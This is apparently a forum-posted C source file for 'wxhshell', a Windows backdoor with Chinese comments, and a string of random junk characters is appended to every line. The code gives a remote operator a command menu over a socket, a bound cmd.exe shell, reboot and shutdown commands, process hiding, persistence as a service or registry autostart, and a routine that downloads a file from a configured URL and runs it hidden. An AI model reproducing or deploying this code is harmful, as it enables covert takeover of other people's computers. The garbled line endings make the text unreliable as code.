    switch(cmd[0]) { E3sl"d;~  
  X_O(j!h  
  // 帮助 1j3mTP  
  case '?': { 62a{Ggs{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iv:[]o  
    break; B-'Xk{  
  } (t fADaJM  
  // 安装 -=2tKH`Q  
  case 'i': { 0zdH6 &  
    if(Install()) ~#7=gI&p@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #t po@pJsE  
    else VbJGyjx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s$|GVv1B  
    break; F0]NtKaH  
    } RE7 I"  
  // 卸载 #!C/~"Y*`|  
  case 'r': { M|7xI  
    if(Uninstall()) FL"7u2rh,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "J3@Z,qW  
    else ;NB J@E,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jQ(qaX&  
    break; 2["bS++?  
    } y kwS-e  
  // 显示 wxhshell 所在路径 1Ep!U#Del  
  case 'p': { U''/y\Z  
    char svExeFile[MAX_PATH]; mGwB bY+5n  
    strcpy(svExeFile,"\n\r"); A0 x*feK?  
      strcat(svExeFile,ExeFile); m".8-  
        send(wsh,svExeFile,strlen(svExeFile),0); ]Dd=q6  
    break; 7;0^r#:87#  
    } Ryr2  
  // 重启 /vBOf;L  
  case 'b': { C.Y]PdYyj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kk )9!7  
    if(Boot(REBOOT)) WEOW6UV(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0,E*9y}  
    else { 349W0>eOT  
    closesocket(wsh); #1&w fI$  
    ExitThread(0); 2LEf"FH0~  
    } [N'YFb3"O  
    break; M')f,5i&$  
    } S:+SZq  
  // 关机 Y Dq5%N`  
  case 'd': { &X }GJLC3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o{37}if  
    if(Boot(SHUTDOWN)) >01&3-r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xOt%H\*k"  
    else { 4D0=3Vy  
    closesocket(wsh); Q+ $+{g-8  
    ExitThread(0); 4'RyD<K\  
    } wG ua"@IE  
    break; ~C\R!DN,  
    } 5k)/SAU0  
  // 获取shell ,Tvfn`;(  
  case 's': { &$:1rA_v  
    CmdShell(wsh); )Gi!wm>zvN  
    closesocket(wsh); 9o@5:.b<j  
    ExitThread(0); XJ^dX]4  
    break; ^7G@CBic"  
  } AvfSR p  
  // 退出 \vjIw{   
  case 'x': { U%.OH?;f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LZG?M|(6D  
    CloseIt(wsh); airg[dK  
    break; ]|KOc& y:I  
    } x|g>Zd/n  
  // 离开 OuWG.Za  
  case 'q': { _r@ FWUZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ro\ U T64  
    closesocket(wsh); 5 Sm9m*/  
    WSACleanup(); OHTJQ5%zL  
    exit(1); Cak `}J 2  
    break; 'M8wjU  
        } <]1Z  
  } $o2H#"  
  } X` r~cc  
b9`vYnLk  
  // 提示信息 eLPWoQXt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 90<z*j$EK  
} G(joamfM  
  } 36iDiT_  
>d2U=Yk!  
  return; .{r0Szm.  
}  }^3CG9%  
X0G6W p  
// shell模块句柄 4OX|pa  
int CmdShell(SOCKET sock) Lmh4ezrdH  
{ O\0]o!  
STARTUPINFO si; CNU,\>J@$  
ZeroMemory(&si,sizeof(si)); mcO/V-\5'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d rRi<7 i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uknX py))  
PROCESS_INFORMATION ProcessInfo; SWwL.-+E]  
char cmdline[]="cmd"; `_"F7Czn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EH1GdlhA  
  return 0; PiQs Vk  
} 8);G'7O  
GS_+KR\  
// 自身启动模式 E^'f'\m  
int StartFromService(void) jgpSFb<9F  
{ <cig^B{nX  
typedef struct L F<{/c9,  
{ ' tyblj C  
  DWORD ExitStatus; 0i|z$QRL~  
  DWORD PebBaseAddress; gs/ i%O  
  DWORD AffinityMask; yn`P:[v  
  DWORD BasePriority; vU(uu:U9  
  ULONG UniqueProcessId; '\g-z  
  ULONG InheritedFromUniqueProcessId; T- ~l2u|s  
}   PROCESS_BASIC_INFORMATION; yzI`&? P2  
)O}q{4,}  
PROCNTQSIP NtQueryInformationProcess; k{Ad(S4J&  
}Zuk}Og9+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `|rF^~6(dR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @*>kOZ(3  
E!Ljq3iT`  
  HANDLE             hProcess; E@} NV|90  
  PROCESS_BASIC_INFORMATION pbi; U=ek_FO  
PPpq"c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h;C/} s  
  if(NULL == hInst ) return 0; 3:]c>GPQ  
uT :Yh6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \5 S^~(iL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #S4lRVt5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bfV&z+Rv-5  
?:woUTyCv  
  if (!NtQueryInformationProcess) return 0; or<n[<D-C  
`>1XL2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w ag^Sk  
  if(!hProcess) return 0; U\'HB.P\  
4>t'4p6{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7$ze RYD+  
4it^-M  
  CloseHandle(hProcess); .D8|_B  
-Z(='A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =tS#t+2S  
if(hProcess==NULL) return 0; w,)O*1't  
rWMG6+Scb  
HMODULE hMod; 7ciSIJ  
char procName[255]; Y W9+.Dc`  
unsigned long cbNeeded; ]_5qME#N  
3xX ^pjk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Ei(BrL/;  
/$=<"Y7&g  
  CloseHandle(hProcess); %iq8dAW%  
\#(tI3  
if(strstr(procName,"services")) return 1; // 以服务启动 &02I-lD4+  
+x(~!33[G  
  return 0; // 注册表启动 Y#<>N-X|kA  
} A||,|He~  
6"djX47j  
// 主模块 AY x*Ngn  
int StartWxhshell(LPSTR lpCmdLine) QWQJSz5  
{ umo<9Y  
  SOCKET wsl; eYQPK?jo  
BOOL val=TRUE; *ufVZzP(  
  int port=0; o|cx?  
  struct sockaddr_in door; Cm"7f !(#  
oniVC',  
  if(wscfg.ws_autoins) Install(); Jk=_8Xvr`  
]#sF pWI[N  
port=atoi(lpCmdLine); pNnZ-R|u  
)45#lE3TH  
if(port<=0) port=wscfg.ws_port; t6C2DHh7$  
xg;I::hE7X  
  WSADATA data; FQh8(^(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t9eEcq Mg  
H.)Y*zK0.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;O~k{5.iS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T B(K&3_D  
  door.sin_family = AF_INET; dJ(<zz+;b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;.U<Lr^9#  
  door.sin_port = htons(port); {A`J0ol<B9  
E (.~[-K4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `k.0d`3(  
closesocket(wsl); I83 _x|$FZ  
return 1; `UD,ne  
} =@ d/SZ|(E  
or qL0i  
  if(listen(wsl,2) == INVALID_SOCKET) { +R2+?v6  
closesocket(wsl); <N(r -  
return 1; >[0t@Tu,D  
} *8Kx y@  
  Wxhshell(wsl); vdaG?+_o  
  WSACleanup(); f2iA5 rCV]  
#V$h?`qhwr  
return 0; up!54}qy  
8G )O,F7z  
} Q+7+||RW  
*!r"+?0gN  
// 以NT服务方式启动 KXf (v4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N8KH.P+  
{ -{z<+(K!$  
DWORD   status = 0; 92(P~Sdv  
  DWORD   specificError = 0xfffffff; n@$("p  
6PyW(i(bs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `lcQ Yd<,4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,(3oAj\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tjg?zlj  
  serviceStatus.dwWin32ExitCode     = 0; XGb*LY+Db6  
  serviceStatus.dwServiceSpecificExitCode = 0; Ws/\ lD  
  serviceStatus.dwCheckPoint       = 0; {!&^VXZIT  
  serviceStatus.dwWaitHint       = 0; po@Agyg5  
AL{iQxQ6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -, uT8'  
  if (hServiceStatusHandle==0) return; 1c|{<dFm  
hS'!JAM>Q  
status = GetLastError(); A~X| vW  
  if (status!=NO_ERROR) /hSEm.<  
{ *X /i<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mc~L%5  
    serviceStatus.dwCheckPoint       = 0; 7 MS-Gs|  
    serviceStatus.dwWaitHint       = 0; |,Kk#`lW<f  
    serviceStatus.dwWin32ExitCode     = status; :MihVLF  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3gv@JGt7`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tx7B?/5D  
    return; {BY(zsl  
  } t{-*@8Ke  
: G'a"%x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Le V";=_n  
  serviceStatus.dwCheckPoint       = 0; BG8`B'i  
  serviceStatus.dwWaitHint       = 0; (L*<CV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |Ae7wXOs  
} m.68ctaa  
8ly6CP+^B  
// 处理NT服务事件,比如:启动、停止 ;(@' +"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) az[#q  
{ oU|_(p"e|  
switch(fdwControl) c'D NO~H  
{ HX{K5+  
case SERVICE_CONTROL_STOP: N u3B02D*  
  serviceStatus.dwWin32ExitCode = 0; ?vP6~$*B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WD@v<Wx)  
  serviceStatus.dwCheckPoint   = 0; =Eb$rc)  
  serviceStatus.dwWaitHint     = 0; ;}H*|"z;!  
  { VVbFn9+V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V an=dz G  
  } N~ajrv}kd  
  return; 'Q"Mu  
case SERVICE_CONTROL_PAUSE: O7oq1JI]Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uD\rmO{  
  break; 3 MCV?"0  
case SERVICE_CONTROL_CONTINUE: a@ ^)?cH!z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; biG :Xn  
  break; 3BSZz%va  
case SERVICE_CONTROL_INTERROGATE: XS$#\UQ  
  break; :_|Xr'n`A  
}; ojyP.R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D63?f\  
} Z*n4$?%W  
-/:!AxIH  
// 标准应用程序主函数 NiYT%K%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C;?<WtH  
{ +4+c zfz  
i9|}-5ED  
// 获取操作系统版本 hU3sEOm>  
OsIsNt=GetOsVer(); + 2w<V0V_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m.FN ttkM  
rZ&li/Z  
  // 从命令行安装 WRrg5&._q  
  if(strpbrk(lpCmdLine,"iI")) Install(); hC4 M}(XM  
`>GXJ~:D["  
  // 下载执行文件 JS/~6'uB  
if(wscfg.ws_downexe) { ,Jx.Kj.,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pk;1q?tGw  
  WinExec(wscfg.ws_filenam,SW_HIDE); w"O{@2B3:H  
} FX!Qd&kl1  
m@']%X*(,  
if(!OsIsNt) { ?<rZ9$  
// 如果时win9x,隐藏进程并且设置为注册表启动 T$sm}=  
HideProc(); a ?\:,5=  
StartWxhshell(lpCmdLine); H43d[@h  
} Z<*"sFpAO  
else hW9U%-D  
  if(StartFromService()) ,/qY 9eh  
  // 以服务方式启动 J!}\v=Rn  
  StartServiceCtrlDispatcher(DispatchTable); ~iPXn1  
else T7|=`~  
  // 普通方式启动 E#Ol{6  
  StartWxhshell(lpCmdLine); "ZL_  
p,tkVedR  
return 0; ?zf3AZ9  
}
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只看该作者 1 发表于: 2006-10-10
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